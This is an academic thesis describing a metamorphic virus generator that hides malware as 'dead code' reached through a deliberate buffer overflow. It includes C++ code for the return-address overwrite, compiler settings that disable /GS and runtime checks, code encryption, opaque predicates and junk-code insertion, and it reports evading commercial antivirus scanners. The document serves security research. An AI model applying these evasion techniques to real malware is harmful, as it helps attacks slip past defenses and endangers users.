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# Metamorphic Viruses with Built-In Buffer Overflow

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# **METAMORPHIC VIRUSES WITH BUILT-IN BUFFER OVERFLOW**

A Research Project

Presented to

The Faculty of the Department of Computer Science<br>San Jose State University

In Partial Fulfillment

of the Requirements for the Degree

Master of Computer Science

by

Ronak Shah

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The Undersigned Thesis Committee Approves the Project-Thesis Titled

# **METAMORPHIC VIRUSES WITH BUILT-IN BUFFER OVERFLOW**

by

Ronak Shah

# APPROVED FOR THE DEPARTMENT OF COMPUTER SCIENCE



# **Abstract**

# **METAMORPHIC VIRUSES WITH BUILT-IN BUFFER OVERFLOW**

Metamorphic computer viruses change their structure—and thereby their signature—each time they infect a system. Metamorphic viruses are potentially one of the most dangerous types of computer viruses because they are difficult to detect using signature-based methods. Most anti-virus software today is based on signature detection techniques.

In this project, we create and analyze a metamorphic virus toolkit which creates viruses with a built-in buffer overflow. The buffer overflow serves to obfuscate the entry point of the actual virus, thereby making detection more challenging. We show that the resulting viruses successfully evade detection by commercial virus scanners.

Several modern operating systems (e.g., Windows Vista and Windows 7) employ address space layout randomization (ASLR), which is designed to prevent most buffer overflow attacks. We show that our proposed buffer overflow technique succeeds, even in the presence of ASLR. Finally, we consider possible defenses against our proposed technique.

# **Acknowledgements**

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# <span id="page-10-0"></span>**METAMORPHIC VIRUSES WITH BUILT-IN BUFFER OVERFLOW**

# **1. Introduction**

The field of computer security is relatively new and is constantly changing to meet the needs of a rapidly evolving industry. As our dependence on computers and the Internet for communication, banking, shopping, internet booking and trading, and almost every aspect of our day-to-day experience has grown, so has the importance of computer security. In recent years there has been a drastic increase in the number of virus attacks on computer systems. Research into potential attacks and possible defenses against these attacks is vital.

A **computer virus** is a malicious piece of software that infects user machines, servers, or other larger systems, by copying itself and disrupting the normal functioning of a computer system. Typically, a computer virus is easily spread, small, and has the ability to reproduce itself. According to [6], one of the first computer viruses was the famous and successful Brain virus, in 1986. Since then, the number of computer attacks and viruses has increased exponentially.

A **virus attack** is the harm that is caused to a computer (mostly software) by the malicious code that is contained in a virus. Typically, virus attacks aim at using up the software or hardware resources by making these resources unavailable, corrupting data, using sensitive data for malicious activities, and so on. Generally, a virus is very difficult to trace back to its

publisher. Statistics show that most virus attacks are carried out by troubled employees, college students, and information hackers, among others [23].

Metamorphic viruses change their code structure across generations in such a way that the viruses' functionality does not change. This means that multiple distinctive copies of the same virus perform the same attack, which makes detection extremely difficult. Generally, metamorphic viruses are generated with the help of a metamorphic engine that performs all the code transformations to the virus software. The aim of this research project is to develop a metamorphic virus generation tool that uses a publicly known and detected virus, and convert it into a resident metamorphic virus. In our project we further obfuscate the virus code by making it appear to be "dead code" that should never execute. However, this "dead code" does actually execute due to a buffer overflow and de-randomization technique. Since this virus appears to be dead code, it should be more difficult to detect with conventional signature detection techniques.

This paper is organized as follows:

- Section 2 gives a background of computer viruses in general and discusses their importance and severity in today's world. This section also discusses the various types of computer viruses, along with the different techniques used to generate and detect them.
- In Section 3 we introduce and discuss buffer overflows, their history, importance, buffer overflow attacks, and ways to avoid or mitigate them.

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- In Section 4 we discuss the Address Space Layout Randomization technique that is used by some of operating systems, like Linux PaX, Microsoft Windows Vista (and later), to make buffer overflows difficult to exploit. We also analyze the effectiveness of ASLR as implemented in Windows Vista.
- In Section 5 we discuss the different software techniques that are used by our metamorphic virus generator to create highly metamorphic viruses.
- In Section 6 we discuss the implementation of our metamorphic virus generator tool for generating undetectable viruses.
- In Section 7 we present the tests performed to evaluate the results achieved by our metamorphic virus generation tool.
- In Section 8 we discuss some of the mechanisms that could be used by anti-virus software in an effort to detect the viruses proposed in this paper.
- Finally, Section 9 summarizes our results and offers proposed directions for future research in this area.

# <span id="page-13-0"></span>**2. Background**

Computer viruses attempt to infect user machines, servers, or other larger systems by copying themselves and disrupting the normal functioning of a computer system. By and large, these viruses, malware, adware, and other spyware are detected with the help of anti-virus software, most of which uses signature-based detection techniques. Various sophisticated virus generation techniques have been employed to make signature-based virus detection difficult. We discuss some of these techniques here.

# **2.1. Types of Computer Viruses**

According to [1] and [16], viruses can be classified into four different types, or categories, namely, encrypted, oligomorphic, polymorphic, and metamorphic.

#### **2.1.1. Encrypted Viruses**

The body of an encrypted virus consists of a small decryption module and an encrypted virus body. Thus it is difficult for virus scanning software using signature detection technique to detect, as the virus body is encrypted and residing in the binary.

But the decryption modules of such viruses remain the same and have a unique signature. Thus, it is fairly simple to detect such viruses based on the signature of the decryption module itself. Hence, such viruses can easily be detected using conventional signature detection strategies.

#### <span id="page-14-0"></span>**2.1.2. Oligomorphic Viruses**

Oligomorphic viruses, as described, by Peter Ferrie, Symantec, in [16], change their decryptors across generations. With this technique, signature detection of the viruses on the basis of the decryption module becomes difficult. However, most commercial virus scanners are smart enough to defeat this technique by detecting the viruses after decryption, which will obviously reveal the constant code structure and a constant signature.

#### **2.1.3. Polymorphic Viruses**

Polymorphic viruses work in the same way as encrypted viruses but there are multiple encryption and decryption modules in each generation. All these modules work to hide the single piece of virus code. Detection is still possible using code emulation. Virus scanners can use code emulation technique to decrypt the virus body dynamically. The reason for this is that all polymorphic viruses contain the same virus structure.

#### **2.1.4. Metamorphic Viruses**

This is the fourth and the most dangerous type of virus, as discussed in [1]. The structure of a metamorphic virus changes completely with each new generation. Metamorphic viruses hide their signature by employing various code obfuscation techniques. Metamorphic viruses have a different internal structure in each instance, but the functionality of each instance is identical. It is difficult for signature detection virus scanners to detect such

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<span id="page-15-0"></span>viruses. Metamorphic viruses are therefore only detectable by highly sophisticated detection techniques.

Metamorphic viruses use different types of technologies to obfuscate the virus code and at the same time attempt to change their code so that they will be difficult to scan using virus signatures.

Let us consider the following diagram to understand metamorphic viruses in detail. As shown in the diagram, the metamorphosis of a virus involves taking the original copy of a virus and changing it so that it remains the same functionally but its structure is drastically altered.



### **Figure 1: Metamorphic Viruses**

# <span id="page-16-0"></span>**2.2. Virus Generation Tools and Techniques**

There are many different virus generation techniques available, and the list is constantly growing. Hundreds of virus generation tools are freely available online. Some of the virus generation tools available at VXHeavens website [11] are:

- 1. C++ Worm Generator
- 2. CcT's Malware Construction Kit
- 3. CompVCK for Win32Asm Sources
- 4. Next Generation Virus Construktion Kit (NGVCK)
- 5. Windows Virus Creation Kit

All these tools provide a full-fledged framework to generate dangerous and metamorphic

computer viruses. The different techniques used by these virus generating tools are:

- 1. Code insertion
- 2. Code obfuscation
- 3. Code transformation
- 4. Replacement of existing operations with similar operations or operations that do not

change the way the virus program is performing

### <span id="page-17-0"></span>**2.3. Virus Detection Techniques**

With the increase in the number and sophistication of virus attacks, there is also a need for advanced virus detection techniques. Some of the techniques used for virus detection are:

#### **2.3.1. Signature Detection Technique**

A signature is the binary footprint of any virus. A signature-based virus scanner looks for a match amongst the available signatures in all the binary files in a computer. If a match is found it means that a particular known virus is detected. This is brute force technique and is very effective for the detection of known viruses, but it is not very effective when not much is known about a virus' signature or if it's a completely new virus attack. Still, most commercial virus scanners use conventional signature detection technique.

#### **2.3.2. Change Detection Technique**

Change detection technique involves monitoring the important files on a system for changes. This can be done by computing and storing the hashes during the ideal state of the system for files that do not generally change. These hashes can be computed periodically and compared with the original saved hash of the file. If the newly computed hash is different from the saved hash, it means that the file is changed and has therefore been affected by a virus or other malicious code.

This can prove to be a very effective technique even in detecting new or unknown viruses. However, there are also a number of disadvantages associated with this technique. Since, many files change in a system; it is difficult to take into account these changes into the

<span id="page-18-0"></span>change detection technique. This technique can easily flag for false positives, for instance when a file changes for a good reason. Also it puts a heavy load on the processor, if used very frequently.

#### **2.3.3. Anomaly Detection Technique or Heuristic Analysis**

Anomaly detection, or heuristic analysis, is another technique that can be used for detection of viruses. In this technique, the virus scanner monitors system files and resources and looks for anomalous behavior. Anomaly detection is a very challenging problem for the following reasons:

- 1. The behavior of a system changes constantly depending upon its usage
- 2. Flagging of anomalous behavior does not always help
- 3. It is very difficult to define the norm of a given system

For these reasons, this technique also causes many false positives. Anomaly detection relates to a problem in the domain of artificial intelligence and is a complex one to solve. It is very difficult to design a virus scanner that purely uses anomaly detection technique. There have been some approaches where anomaly detection is combined with signature detection techniques to develop the scanner.

# <span id="page-19-0"></span>**3. Buffer Overflow**

A buffer overflow is a programming flaw due to which more data is pushed into a data structure than it is designed to hold [3]. For the last two decades, most of the virus attacks are exploited due to the buffer overflow [9]. The virus generation toolkit that we present in this research project is based on a simple buffer overflow exploit. We hide the entry point to a hidden or "dead" piece of code that could never have executed without the buffer overflow exploit. In this section, we discuss some famous buffer overflow exploits, their historical importance in the field of computer security, and some of the techniques that have been used to detect and mitigate buffer overflows in the past.

### **3.1. What is a Buffer Overflow?**

**Buffer overflow** is a programming bug or a hack that can be exploited by attackers to launch serious virus attacks [9]. Buffer overflow can be exploited through programming languages like C or C++ easily where strict bound checking is not performed on the data structures.

The concept of buffer overflow is very simple, **"A buffer overflow is very much like pouring ten ounces of water in a glass designed to hold eight ounces. Obviously, when this happens, the water overflows the rim of the glass, spilling out somewhere and creating a mess."** [15]

 Buffer overflows can be exploited by writing to an unauthorized memory location using pointers, arrays, stacks, heaps, or other similar data structures. For example, consider an <span id="page-20-0"></span>array or any other data structure that holds N elements. A buffer overflow occurs when a program tries to store more than N elements in that data structure. The reason for the occurrence of a buffer overflow is that not enough memory is allocated for a data structure or the buffer. A code snippet demonstrating a buffer overflow error is as follows:

**Figure 2: C++ Code Example for a simple buffer overflow** 

```
//SimpleBuffer.cpp
int main ()
€
  int arr[5];
  for (int i = 0; i < 8; i+1)
     arr[i] = i;return 0;
```
In the above example, the declaration for the array  $\arctan$  allocates memory for 5 integer values. The " $for\;$  loop" tries to put more than 5 integer values in the array  $arr$ . This causes the array buffer to overflow.

In Figure 3 we give a diagrammatic representation of a program's execution memory stack. As shown in the figure, function variables and buffers are placed next to the return address of a function in the execution stack. When an attempt is made to write to a memory location that is not allocated it causes the buffer to overflow. Thus, when the program reaches its end it does not know where to go back to. This is even more dangerous if a buffer overflow attack modifies the path of execution by overwriting the return address with the known address of some malicious code.

<span id="page-21-0"></span>

**Figure 3: Diagrammatic Description of the memory of a program** 

Buffer overflow can be exploited such that the path of execution is altered with malicious intent. The return address of the executing code can be overwritten with address of some malicious code with the help of a buffer overflow exploit. This scenario is explained by the memory map shown in Figure 4 below:

<span id="page-22-0"></span>

**Figure 4: Diagrammatic Description of an Exploited Buffer Overflow** 

### <span id="page-23-0"></span>**3.2. Buffer Overflow Attacks**

Buffer overflow attacks are very sensitive and require an in-depth knowledge of the system that is being attacked. Buffer overflow exploits are very popular amongst virus writers and hackers because the attacker has full control over the code to execute after the exploit. Such attacks have been around for quite awhile and there have been many attempts to avoid or to detect them. We discuss in detail some of the attempts to avoid, void, or detect buffer overflows in Section 3.3.

Some of the most famous and hostile buffer overflow exploits include [9]:

- 1. *Morris Worm* (1988): Affected 6000 machines over the internet
- 2. *Code Red Virus* (2001): Exploited a buffer overflow in Microsoft's IIS (Internet Information Services) Server Software that affected about 250,000 systems in 15 hours
- 3. *SQL Slammer Worm* (2003): Caused a denial-of-service (DoS) attack on machines running Microsoft SQL Server 2000, and affected 250,000 systems in 10 minutes

### <span id="page-24-0"></span>**3.3. Attempts to Avoid or Detect Buffer Overflows**

We discuss some successful attempts to avoid or detect occurrence of buffer overflows in this section. Some of these techniques have proved to be very useful in combating against buffer overflow exploits.

#### **3.3.1. Managed Code Environments**

Managed code is the Microsoft naming convention for code that executes in management of the Common Language Runtime (CLR). The languages that fall into this category are Managed C++, C#.NET, VB.NET, and XAML for Silverlight. These programming languages require strict bound checking on all data structures, like arrays, lists, sets, or bags. Java also runs under the management of Java Virtual Machine (JVM) and produces a Java byte code when compiled. JVM also requires strict bound checking on the above-listed data structures. Thus, it is not possible to exploit buffer overflows in such managed environments. When a buffer overflow is exploited, the exception handlers in managed environments throw the "out of bounds" exception. Thus buffer overflows can be easily caught in the managed code environments.

#### **3.3.2. NX (no execute) Bit**

NX or no execute bit is supported by some operating systems, like Microsoft Windows Vista and Windows 7. NX bit works like a flag variable on a program's execution stack. When this flag is set, that particular section of the memory becomes non-executable. This is very useful in making the stack non-executable. This means that even if a buffer overflow is

exploited, it would not be possible to overwrite the stack. Thus, the path of execution cannot be changed, as the return address would not be modified which is typically the case in most buffer overflow attacks [9].

As stated in [2], *"As the NX approach becomes more widely deployed, we should see a decline in the number and overall severity of buffer overflow attacks."*

### **3.3.3. Canary or the /GS Option in Microsoft**

Canary or canary bit is a mechanism that can be used to prevent stack smashing attacks. In this approach we push a special value, called the canary, after the return address. The value of the canary is constant, and chosen in such a manner that if it is changed or overwritten the change will be detected. The canary value is validated when the code reaches the end of control flow and the jump to the return address is only made if the canary is not modified. The concept of canary is implemented in Microsoft Visual Studio compiler as the Buffer Security Check (/GS) Option.

According to [5], the /GS Option, *"causes the compiler to add checks that protect the integrity of the return address and other important stack metadata associated with procedure invocation. The 'GS' protections do not eliminate vulnerabilities, but rather make it more difficult for an attacker to exploit vulnerabilities."* 

However, claims have been made that this implementation in Microsoft Windows is flawed, and that buffer overflows are still exploitable [5].

<span id="page-26-0"></span>

**Figure 5: Stack Frame with Canary Implementation** 

### **3.3.4. ASLR (Address Space Layout Randomization)**

Another concept that is used by some operating systems, like Linux PaX and Microsoft Windows Vista, is Address Space Layout Randomization (ASLR), as discussed in [10]. ASLR aims at preventing buffer overflow exploits by randomizing the memory address space from which the program will be executed. This concept is explained in more detail, along with its advantages and de-randomization attacks, in the Section 4.

# <span id="page-27-0"></span>**4. Address Space Layout Randomization (ASLR)**

According to [5], **"Address Space Layout Randomization is a prophylactic security technology aimed at reducing the effectiveness of exploit attempts."** ASLR makes it difficult to exploit vulnerabilities with buffer, stack, or heap overflows. The virus developed in our project defeats ASLR in Windows systems by exploiting the buffer overflow using function pointers. This is achieved without going through the lengthy process of derandomization. In this section, we discuss ASLR, its background, what it takes to derandomize memory space, and ways to make ASLR more robust.

# **4.1. What is ASLR?**

**Address Space Layout Randomization (ASLR)** is a mechanism that randomizes the program memory. This prevents the program from getting placed at the same address in the main memory every time it is loaded. Thus, if a program is compromised once using a hard-coded buffer or stack overflow exploit, the same attack will not be successful subsequently. Thus, hard-coding addresses to exploit buffer overflows will fail. A sophisticated de-randomization approach would have to be used to break the security in this kind of protection.

### <span id="page-28-0"></span>**4.2. Where is it used?**

Address Space Layout Randomization (ASLR) is built in by the newer operating systems like:

- Linux PaX ASLR
- OpenBSD
- Microsoft Windows Vista
- Microsoft Windows 7 and
- Mac OS X Leopard.

ASLR randomizes program memory such that it does not always execute in the same memory space. ASLR enabled systems are secure against attacks caused by viruses containing buffer overflow exploits pointing to hard-coded memory addresses. This is because hard-coding buffer overflows would point to a completely random location in the memory. In Microsoft Windows Vista, Windows 7, and Mac OS X Leopard, the ASLR mechanism is used along with the NX (no execute) bit mechanism as discussed in subsection 3.3.2.

## **4.3. De-Randomization Attacks**

De-randomization is the process by which an attacker compromises the security provided by ASLR. After de-randomization, buffer overflows can be exploited by hard-coding memory addresses even on ASLR enabled system. Two different de-randomization attacks on the Linux PaX ASLR system demonstrated in [\[7\]](#page-57-0) are:

1. return-to-libc attack, uses the Oracle buffer overflow

<span id="page-29-0"></span>2. Information leakage attacks

Similar de-randomization attacks can be launched on any other operating system that uses ASLR.

# **4.4. Analysis of ASLR in Microsoft Windows Vista**

Microsoft Windows Vista considers executables (.exe) and dynamic link libraries (.dll) containing the PE (portable executable) header for ASLR [4]. Windows Vista uses a random global image offset that is reset on each reboot. Microsoft claims that this random global image offset is selected from a range of 256 values, but according to statistics and analyses this range is actually much smaller [4]. This is shown in the figure below, which is taken from [\[4\]](#page-57-0), pg. 9, Figure 2. Distribution of Stack Addresses, as follows:

**ASLR Stack Memory Location Usage** 8  $\overline{7}$ E  $\sqrt{6}$ 5 Count  $\overline{4}$ 3  $\overline{2}$  $\mathbf{1}$  $\Omega$ 0012F550 0018F764 001EF8A8 0024FCA8 002BF83C 0031FB4C **Address** 

**Figure 6: Distribution of Stack Addresses** 

# <span id="page-30-0"></span>**5. Technical Details**

In this section, we discuss different code obfuscation techniques and exploits used by the virus generation tool to obfuscate and morph a virus in detail.

# **5.1. Virus Code with the Buffer Overflow Exploit**

Figure 7 illustrates the C++ code that uses the buffer overflow exploit to link to malicious code. This code contains two C++ functions, viz., goodCode and virusCode. The goodCode function causes the exploit by overwriting its return address with the entry point of virusCode. The return address is overwritten by overflowing the buffer of array

arr in the goodCode function.

```
Figure 7: buffer.cpp (C++ file containing the actual buffer overflow exploit)
```

```
// buffer.cpp : Defines entry point for the virus code.
void goodCode();
void virusCode();
void virusCode()
\left\{ \right.printf("Start Virus code\n");
      /*This is the place where the user provided virus code will be
      placed when the application runs.*/
      printf("End Virus code\n");
     exit (1);\mathcal{F}void goodCode()
Æ
      int arr[5] = \{1, 2, 3, 4, 5\};for (int i = 5; i < 8; i+1)
      \left\{ \right.arr[i] = (int) <i>virusCode</i>;\mathcal{F}\mathcal{F}int _tmain(int argc, _TCHAR* argv[])
\{goodCode();
      getchar();
      return 0;
```
<span id="page-31-0"></span>The following compiler options should be set for hiding the buffer overflow exploit:

- 1. **Buffer Security Check (/GS):** The Buffer Security Check is on by default. We set it to **No (/GS-)** so it will not enforce restrictions on the size of the buffer [18].
- 2. **Basic Runtime Checks:** Disable run-time checks on stack frames, uninitialized variables, and data type mismatch by setting this compiler option to **Default** [19].
- 3. **Enable C++ Exceptions:** C++ Exception Handling is enabled by default (compiler option is

set to **"Yes (/EHsc)"**). Disable exceptions by setting this compiler option to **No** [20]**.** 

The disassembly of the code in Figure 7 is shown in Figure 8. The return address of the subroutine is overwritten with a pointer to another function (buffer.010E1078). Thus, the code flow jumps to buffer.010E1078 when the subroutine returns. The code in this function can link the program to a potential virus.



**Figure 8: Buffer Overflow in Disassembly** 

## <span id="page-32-0"></span>**5.2. Code Encryption and Decryption**

Code encryption and decryption can be used to obfuscate a piece of code. This obfuscated code is decrypted at run-time when the encrypted portion of code is invoked. Since the decryption logic should not be identical in each generation, it is obfuscated using different obfuscation techniques explained from sections 5.3 to 5.6.

Encryption and decryption is implemented in our project with the help of function pointers. The encrypt function accepts the pointer to a C/C++ function and encrypts all bytes of code in that function. Once a function is encrypted, the encrypted bytes of code are built into the un-compiled C++ code as HEX in the  $\qquad$  asm  $\{ \ldots \}$  section. The encrypted functions are decrypted at run-time when invoked. All the encrypted bytes are decrypted and overwritten at the same address. If an attempt to execute the encrypted function is made before decrypting, it will cause an error in the program.

Consider the following code constructs to better understand code encryption and decryption. The cryptographic algorithm implemented in the following example is fairly simple, but complex cryptography can be implemented.

#### **Figure 9: Encryption Logic**

**Encryption Logic will be a part of encrypting the first time; it will not be present in the final source code** 

```
void encrypt (unsigned char * ptrFunc, int key) // function
pointer that is passed
\left\{ \right.unsigned int i;
      for (i = 0; i < 213; i++)\mathcal{L}*ptrFunc += key;
             ptrFunc++;
      \mathcal{F}ł
```
#### **Figure 10: Decryption Logic**

**Decryption Logic will be present in the final source code** 

```
void decrypt (unsigned char * ptrFunc, int key) // function
pointer that is passed
\left\{ \right.unsigned int i;
      for (i = 0; i < 213; i++)\mathcal{F}*ptrFunc -= key;
             ptrFunc++;
      \mathcal{F}
```
**Figure 11: Calls to the encryption and decryption functions** 

```
unsigned char* ptr = (unsigned char*) generatekey;
encrypt(ptr, 123); // Call to encrypt with 123 as the key
decrypt(ptr, 123); // Call to decrypt with 123 as the key
```
Sensitive code in the metamorphic virus generator is obfuscated using such encryptiondecryption mechanism. The areas in the metamorphic virus where we use such code encryption and decryption mechanisms are as follows:

- 1. Implementation of the buffer overflow exploit
- 2. Linking the executable to the virus dynamic link library (dll)

## <span id="page-34-0"></span>**5.3. Opaque Predicates**

An opaque predicate is a dynamic logic or expression of code whose result is predetermined. The result remains constant irrespective of the values of internal variables. Opaque predicates can be useful to obfuscate the flow of control in a program. Opaque predicates can also be used to insert dead code into the logic and make it look like something important and relevant.

Opaque predicates can be easily implemented in code by simple  $\pm \text{f}$ ...else statements, ternary operators, switch statements, or even loops. For example, a simple opaque predicate will look like:

**Figure 12: Simple Opaque Predicate** 

	if (true)	
		printf("I will execute. $\ln$ ");
else		
		printf("I will not execute.\n");

Complex opaque predicates based on complex piece of math can also be used. For example, the snippet of code in Figure 13 uses the math property that (a<sup>2</sup> + b<sup>2</sup>) is always greater than (2ab). Thus the code within the "if block" will always be executed, and the code within the "else block" will never be executed.

**Figure 13: Opaque Predicate Involving Complex Math** 

```
int x = 10, y = 9;
if ((x * x + y * y) >= 2 * x * y)printf("I will execute.\n',');
else
   printf("I will not execute.\n");
```
<span id="page-35-0"></span>The above snippet of code, when seen in the assembly, will be very complex and difficult to understand, as shown in Figure 14. Also, it looks as if it will be doing something vital to this

part of the program.



**Figure 14: Opaque Predicate as shown in Assembly** 

Opaque predicates are frequently used at random in the virus generation tool to obfuscate

the virus code and change its signature significantly. Some of the opaque predicates used in

the tool are listed in Appendix B.

### <span id="page-36-0"></span>**5.4. Insertion of Junk Code and Normal Code**

#### **5.4.1. Junk Code**

Junk code is a useless block of code and the execution of this code does not make any difference to the functionality of the underlying program. However, it may cause performance delays in the executing program. Junk code is inserted in the virus binaries using our virus generation tool to obfuscate the virus code and thereby change its signature.

#### **5.4.2. Insertion of Normal Windows Code**

Normal code refers to the code from binary files of Windows operating system. This "normal code" can be inserted instead of inserting junk code randomly. The "normal code" is obtained by scanning and stripping logical bunch of instructions from normal files in the Windows Operating System. Some of the normal Windows files that we disassembled and scanned are Notepad (notepad.exe), Windows Explorer (explorer.exe), Registry Editor (regedit.exe), Word Pad (write.exe) and Internet Explorer (iexplore.exe). The code obtained from these files is illustrated in Appendix A. This technique helps make the signature of the metamorphic virus similar to the existing Windows files, which works like a camouflage to avoid signature detection as well as other advanced detection techniques.

## <span id="page-37-0"></span>**5.5. Subroutine Permutation**

Subroutine permutation refers to permuting the definitions of the different subroutines in the program. Since the order of definition of subroutines does not change the order in which these subroutines are actually called, makes no functional changes to the program. Hence, subroutine permutation is an effective technique for changing the signature of a program considerably [17].

If a program contains n different subroutines, or functions, or methods, using subroutine permutation technique n! different permutations can be generated. For example, in a program with 3 methods or subroutines, we can get 3! = 6 different permutations or signatures of the same program, as shown in the Figure 15 below:



**Figure 15: Subroutine Permutation** 

Consider the following extracts of C++ code in Table 1. These sample programs show two out of the six permutations with three methods. The output of both the programs is identical.

<span id="page-38-0"></span>

Code extract 1	Code extract 2	
void method1()	void method3()	
$print(f("method1\n^n);$	printf("method3\n");	
void method2()	void method1()	
$print(f("method2\n^n);$	$print(f("method1\n^n);$	
void method3()	void method2()	
printf("method3\n");	$printf("method2\n^n);$	
int tmain (int argc)	int tmain (int argc)	
$method1()$ ;	$method1()$ ;	
$method2()$ ;	$method2()$ ;	
$method3()$ ;	$method3()$ ;	
return 0;	return 0;	

**Table 1: Subroutine Transformation Code Extracts** 

However, the binary signatures of both of the following versions of code are completely different from each other as shown by the Ollydbg disassemblies in Table 2 and 3.

These disassemblies show that the binary signatures change considerably due to the reordering of subroutines (or methods). A permutation algorithm is used to generate n! different permutations for n methods in the program. A particular permutation is then selected at random and the n methods of the program are defined in that order. This will change the binary signatures considerably for each generation of our metamorphic virus.

### **Table 2: Disassembly of Code Extract 1**

<span id="page-39-0"></span>

## **Table 3: Disassembly of Code Extract 2**

<span id="page-40-0"></span>

# <span id="page-41-0"></span>**5.6. Inline Functions in C++**

Inline functions in  $C / C_{++}$  are an indication to the compiler to insert the function code inline at the function call. This helps the compiler avoid the overhead of processing the stack frame and the registers involved in calling a regular function. However, it is not advisable to make all the functions inline because of the limitations involved in using them with recursive function calls, function calls within loops, and large processing within functions.

Inline functions are declared in C and  $C_{++}$  by using the keyword "inline" in front of the function definition as shown in Figure 16:

**Figure 16: Inline Functions in C++ Code Extract** 

```
inline void function1()
\left\{ \right.printf("I am an inline function.");
\rightarrowvoid function2()
圭
   printf("I am not an inline function.");
3
int main()
Ł.
   function1();//Function is expanded here by the compiler
   function2();//Function Call by pushing current context on stack.
   return 0;
```
Since the definition of the functions does not change when they are made inline, inline functions are used at random in the virus code.

Each generation of virus generated from our tool is different from the previous because of

the collection of obfuscation, re-ordering and permutation techniques used at random.

# <span id="page-42-0"></span>**6. Metamorphic Virus Generation Tool**

The aim of our project is to develop a tool for generating and hiding metamorphic viruses. These metamorphic viruses are created from an existing virus whose signature is known by the anti-virus software. Using the tool, the virus is hidden as "dead code" in the victim's machine and exposed using a buffer overflow. The virus is undetectable as lies on the machine in the form of text that is not considered for scanning by signature detection. The virus code is compiled at run-time with different code obfuscation and crypto logic technologies, as discussed in Section 5. The virus code can be provided as input to the tool through a file or plain text. The virus generation tool is developed as a Windows forms application that accepts the input virus, applies the metamorphic engine using file I/O operations and compiles it as a Win32 console application. The screenshot of our metamorphic virus generation tool is shown in Figure 17 below.



**Figure 17: Screenshot of Metamorphic Virus Generation Tool** 

# <span id="page-43-0"></span>**6.1. Metamorphic Virus Generation Tool: Detailed Steps**

This section outlines the top-level steps performed by our Virus Generation Tool to

generate the metamorphic virus as illustrated in Figure 18:



### **Figure 18: Virus Generation Tool**

#### **6.1.1. Metamorphic Engine**

The metamorphic engine applies the exploits and code obfuscation techniques discussed in Section 5 to the given virus program. These techniques are applied at random, making use of randomization and permutation algorithms to generate varied and metamorphic results. Also the framework for the buffer overflow exploit is built into Buffer.cpp code file. At the end of this step we obtain two files:

- <span id="page-44-0"></span>1. Buffer.exe: Buffer.cpp is the compiled code file that contains the buffer overflow (section 5.1) and the code to link to the virus through this overflow.
- 2. Virus.cpp: Virus.cpp is the uncompiled code file that contains the morphed code for the actual virus. This morphed code is obtained by applying the different techniques discussed in section 5.

#### **6.1.2. Build Framework for Buffer Overflow (Compile Buffer.cpp)**

As shown in the previous subsection 6.1.1, the body of the built-in buffer overflow is already in place. This buffer overflow attack is designed to bypass the randomization provided by Address Space Layout Randomization. The attack is designed such that when the buffer overflow takes place, the memory space has already selected the one out of 256 available locations to execute.

Now we compile this newly created  $\text{Buffer.cpp}$  file through a build script batch (. bat) file and generate an executable ( $Buffer \cdot exp$ ) file. This executable contains the built-in buffer overflow which, when exploited, links to the virus code.

#### **6.1.3. Output Files**

The actual virus code is hidden as "dead code" in the form of text in  $Virus.cpp$ , and not in any executable or dynamic link library. This makes it harder for virus scanners to detect, since most commercial virus scanners use signature-based detection techniques. By using the buffer overflow to hide the entry point to the virus, we have created a generic tool that can be used to create any hard-to-detect virus. The virus code is compiled just-in-time of

<span id="page-45-0"></span>the attack, which gives the anti-virus software much less time to consider it as a potential candidate for signature detection. Also, the virus code is morphed and differs from the code of the actual virus, which makes it even more difficult to detect using signature detection.

#### **6.1.4. The Virus Attack: Buffer.exe**

The first generation of Buffer.exe performs the actual virus attack, with the help of the buffer overflow, by compiling the virus.cpp to an executable or a dll and linking to it at run-time as shown in Figure 19. The metamorphic engine is applied to the virus at each generation of the virus to generate diverse copies of the virus:



**Figure 19: Buffer.exe** 

# <span id="page-46-0"></span>**7. Test and Results**

We performed the following tests to analyze the output and quantify the results of the metamorphic virus generation tool:

# **7.1. Buffer Overflow Test**

In this section, we test the effectiveness of the buffer overflow exploit in obfuscating and causing the virus attack on Windows XP, Vista, and Windows 7 environments. The buffer overflow can be exploited only if the code is compiled by setting the right compiler options, as discussed in section 5.1.

The tool uses a buffer overflow exploit and function pointers to point to benign-looking code in the program memory that links to "dead code" stored as text in the computer. Since, this benign-looking code resides within the executable, its address is local to the execution stack. Hence, we exploit the buffer overflow by defeating the randomization provided by Address Space Layout Randomization without launching the lengthy process of de-randomization, as referred to in section 4.3.

Consider the following OllyDbg disassemblies of the buffer overflow as implemented in our project in figures 20, 21, and 22. This result was obtained with ASLR enabled on a Windows 7 environment with the program run three times consecutively. In the figures below we can see that even though the program's execution space was randomized in all the three executions, the buffer overflow was successful. This buffer overflow attack is readily

<span id="page-47-0"></span>exploited on Windows XP, which does not have ASLR enabled, but also in Windows Vista

and Windows 7 environments, which have ASLR enabled. Also OllyDbg and IDA Pro

disassembly do not detect or flag the buffer exploit.



### **Table 4: Defeating ASLR (First Run)**

#### **Table 5: Defeating ASLR (Second Run)**

<span id="page-48-0"></span>

#### **Table 6: Defeating ASLR (Third Run)**

<span id="page-49-0"></span>

# <span id="page-50-0"></span>**7.2. Hiding Entry Point to the Virus**

Since the virus is independent of the main program it can be loaded and linked at run-time by providing the name of the dll or executable and the name of the function to call with the help of the LoadLibrary system function.

But the OllyDbg Disassembler is smart enough to detect the use of the LoadLibrary function and flag with the following warning when the program is first disassembled.



### **Figure 20: OllyDbg Error on Dynamic Linking**

OllyDbg disassembly detects the call to LoadLibrary system function and displays the warning message as depicted in Figure 20. The call to LoadLibrary system function is encrypted with our tool and the warning message is bypassed.

# <span id="page-51-0"></span>**7.3. Test against Commercial Virus Scanners**

Finally we performed the following test to measure the effectiveness of the tool in generating and obfuscating an existing virus code. We tested the generated output of the metamorphic virus tool against some of the following commercial virus scanners:

- 1. Avast! Anti-Virus Version 4.8. Downloaded from [12]
- 2. Kaspersky Anti-Virus Version 8.0.0.506. Downloaded from [13]

Steps to follow:

- 1. Obtain C or C++ source code of a well known virus from online web resources like [11] or [14]
- 2. Compile the virus source code by itself and generate its output binaries
- 3. Check whether this virus is detected in the presence of anti-virus software via scanning
- 4. Input the source code obtained in Step 1 to our virus generating tool. This will generate an obfuscated and metamorphic copy of the original virus
- 5. Again check whether the generated virus is detected by the same anti-virus software

For this purpose we downloaded virus source code from various sources viz [11], [14], and [23], and followed the above procedure. As a result, the original virus binaries were detected and quarantined by anti-virus software when they were compiled as-is, but when we generated the virus file using our tool it remained undetected. The reason for this is that the virus code is morphed and hidden as "dead code," in the form of text.

